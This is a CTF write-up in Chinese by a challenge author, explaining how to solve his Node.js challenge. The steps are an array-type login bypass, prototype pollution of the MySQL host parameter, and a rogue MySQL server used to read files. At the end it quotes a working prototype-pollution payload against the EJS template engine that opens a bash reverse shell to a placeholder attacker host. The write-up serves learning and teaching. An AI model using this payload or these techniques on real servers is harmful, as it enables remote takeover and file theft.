首先,出题背景是公司要求我出一道简单的ctf题目,正好我最近在学习nodejs相关的东西,于是我就出了这道题目,题目源码,我已经打包上传到了GitHub上,地址是: https://github.com/niexinming/prototype_pullotion/
如果有兴趣,可以下载下来,研究一下
在这里你会想到什么呢?爆破?nononono~
你要想到的是这是一道nodejs的题目啊,js本身就是一种弱类型语言,所以,你可以改变数据类型,来看看它会不会产生非预期的效果,你可以参考我以前翻译的过的文章
https://blog.csdn.net/niexinming/article/details/84889275
这篇文章中就介绍如何通过改变数据类型来绕过登录,所以,这个题目通过如下的方式就可以绕过登录:
首先抓包:
然后,修改用户名密码为数组,因为用户名和密码都是数组的第一个,所以只要把用户名和密码改成
{“user”:[0],“passwd”:[0]},就可以绕过登录
绕过登录之后,发现有一个地址,打开这个地址:http://106.75.10.182:3000/kfhkhkdsdshalkhkhaklhlahlkkhdfklhhjkhgdajgfhjaghghjasgfjh//jflkdsajklfjsakljfjkhkjhdsfgasdyuuyueuwguguiuidgffddjfj.js
发现是nodejs后端的源码:
可以看到这个题目可以通过控制host参数去改变mysql的连接地址,这里有个mysql客户端任意文件读取的问题,可以参考这个文章:https://blog.csdn.net/ls1120704214/article/details/88174003
但是如果直接在json中传递{“host”:””},根本不会有任何效果,因为我在57行写了过滤
if (body.host != undefined) {
如果发现有直接传递进来的host参数,nodejs就报错退出,所以,通过仔细观察源代码,发现这个代码有参数污染问题,关于参数污染,可以参考这篇文章:
https://www.4hou.com/technology/16328.html
所以就可以通过构造如下参数去改变host参数,把host参数变成我们自己mysql服务器的地址
首先,我要先把我服务器中的Rogue-mysql-Server 的rogue_mysql_server.py 中的filelist改成flag的地址
然后启动我的这个恶意的mysql服务器:
之后,我把host地址通过参数污染的方式改到我的这台服务器:
发送数据包后,我的服务器中收到了一个请求:
然后,去查看日志,就会看到flag
一个小插曲,因为我刚刚接触nodejs,所以,没有意识到里面其实有很多安全问题,我在出题的过程中错误的使用了nodejs的模板,导致Virink师傅用一个payload就把我的服务器给打下来了(拿下了服务器的控制权),通过跟virink 的交流我也学到了很多东西,最后我兑现了我的承诺,给师傅发了一个大红包
下面是virink的payload,发出来给大家学习
{"user":"test","passwd":"test","__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xx/6666 0>&1\"');var __tmp2"}}
后来我把这个漏洞修复了,等了两周,再也没有人做出来